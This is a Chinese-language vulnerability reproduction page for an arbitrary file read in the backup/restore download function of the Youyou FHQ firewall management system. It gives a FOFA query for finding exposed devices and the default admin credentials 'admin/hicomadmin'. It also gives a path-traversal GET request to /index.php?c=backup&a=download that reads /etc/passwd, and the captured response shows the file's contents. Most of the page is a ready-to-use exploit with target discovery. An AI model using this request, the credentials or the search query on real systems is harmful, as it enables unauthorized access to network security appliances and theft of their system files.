

# Y31-1佑友FHQ-网络安全设备-任意文件读取

## 漏洞描述：

佑友FHQ 后台备份与恢复的功能处存在任意文件读取漏洞（后台还存在上传和RCE），经过身份验证的远程攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

## 网站图片：



 防火墙网关管理系

Chinese simplified (简体中文)

登录

河辰技术版权所有 Copyright © 1998-2024

## fofa语法：

app="佑友-佑友防火墙"

## 漏洞复现：

默认账号密码登录后台

admin/hicomadmin 备份/恢复——>点击下载——>抓包 效果图：



修改此参数为读取文件的路径，跨目录使用../ payload:

```
GET /index.php?c=backup&a=download&file=../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: your-cookie
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
```

Priority: u=4

效果图:

Request

< > 数据包扫描 美化 热加载 构造请求

1 GET /index.php?c=backup&a=download&file=../../../../../etc/passwd HTTP/1.1

2 Host :

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate, br, zstd

7 Connection: keep-alive

8 Cookie: PHPSESSID=0f2bb702c29a658bd3926f7640471082; PHPSESSID=0f2bb702c29a658bd3926f7640471082; language=zh-cn

9 Upgrade-Insecure-Requests: 1

10 Sec-Fetch-Dest: frame

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-User: ?1

14 Priority: u=4

15

16

Responses https 2168bytes / 83ms 美化 请输入定位响应

1 HTTP/1.0 200 OK

2 Set-Cookie: PHPSESSID=0f2bb702c29a658bd3926f7640471082; path=/

3 Content-type: application/octet-stream

4 Accept-Ranges: bytes

5 Accept-Length: 2168

6 Content-Disposition: attachment; filename=../../../../../etc/passwd

7 Expires: 0

8 Cache-Control: must-revalidate, post-check=0, pre-check=0

9 Pragma: public

10 Content-Length: 2168

11

12 root:x:0:0:root:/root:/bin/bash

13 bin:x:1:1:bin:/bin:/sbin/nologin

14 daemon:x:2:2:daemon:/sbin:/sbin/nologin

15 adm:x:3:4:adm:/var/adm:/sbin/nologin

16 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

17 sync:x:5:0:sync:/sbin:/bin/sync

18 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

19 halt:x:7:0:halt:/sbin:/sbin/halt

20 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

21 news:x:9:13:news:/etc/news:

22 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

23 operator:x:11:0:operator:/root:/sbin/nologin

24 games:x:12:100:games:/usr/games:/sbin/nologin

25 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

26 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin